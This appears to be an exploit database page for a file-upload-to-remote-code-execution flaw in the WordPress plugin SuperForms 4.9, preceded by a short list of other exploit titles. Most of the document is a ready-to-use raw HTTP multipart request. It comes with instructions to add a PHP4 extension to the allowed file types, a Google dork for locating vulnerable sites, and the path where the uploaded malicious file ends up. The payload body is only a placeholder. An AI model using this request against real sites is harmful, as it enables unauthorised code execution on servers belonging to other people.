
10 changes to exploits/shellcodes jQuery UI 1.12.1 - Denial of Service (DoS) Metasploit Framework 6.0.11 - msfvenom APK template command injection fuelCMS 1.4.1 - Remote Code Execution fuel CMS 1.4.1 - Remote Code Execution (1) OpenEMR 5.0.1 - Remote Code Execution OpenEMR 5.0.1 - Remote Code Execution (1) EgavilanMedia PHPCRUD 1.0 - 'Full Name' Stored Cross Site Scripting CMSUno 1.6.2 - 'lang/user' Remote Code Execution (Authenticated) OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) Fuel CMS 1.4.1 - Remote Code Execution (2) Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated) WordPress Plugin SuperForms 4.9 - Arbitrary File Upload to Remote Code Execution
50 lines
No EOL
1.7 KiB
Text
50 lines
No EOL
1.7 KiB
Text
# Exploit Title: WordPress Plugin SuperForms 4.9 - Arbitrary File Upload to Remote Code Execution
|
|
# Exploit Author: ABDO10
|
|
# Date : Jan - 28 - 2021
|
|
# Google Dork : inurl:"/wp-content/plugins/super-forms/"
|
|
# Vendor Homepage : https://renstillmann.github.io/super-forms/#/
|
|
# Version : All (<= 4.9.X)
|
|
# data in http request :
|
|
|
|
POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
|
|
<=== exploit end point
|
|
Host: localhost
|
|
User-Agent: UserAgent
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data;
|
|
boundary=---------------------------423513681827540048931513055996
|
|
Content-Length: 7058
|
|
Origin: localhost
|
|
Connection: close
|
|
Referer: localhost
|
|
Cookie:
|
|
|
|
-----------------------------423513681827540048931513055996
|
|
Content-Disposition: form-data; name="accept_file_types"
|
|
|
|
jpg|jpeg|png|gif|pdf|JPG|JPEG|PNG|GIF|PDF <=======
|
|
inject extension (|PHP4) to validate file to upload
|
|
-----------------------------423513681827540048931513055996
|
|
Content-Disposition: form-data; name="max_file_size"
|
|
|
|
8000000
|
|
-----------------------------423513681827540048931513055996
|
|
Content-Disposition: form-data; name="image_library"
|
|
|
|
0
|
|
-----------------------------423513681827540048931513055996
|
|
Content-Disposition: form-data; name="files[]";
|
|
filename="filename.(extension)" <==== inject code extension (.php4)
|
|
for example
|
|
Content-Type: application/pdf
|
|
|
|
Evil codes to be uploaded
|
|
|
|
-----------------------------423513681827540048931513055996--
|
|
|
|
# Uploaded Malicious File can be Found in :
|
|
/wp-content/uploads/superforms/2021/01/<id>/filename.php4
|
|
u can get <id> from server reply . |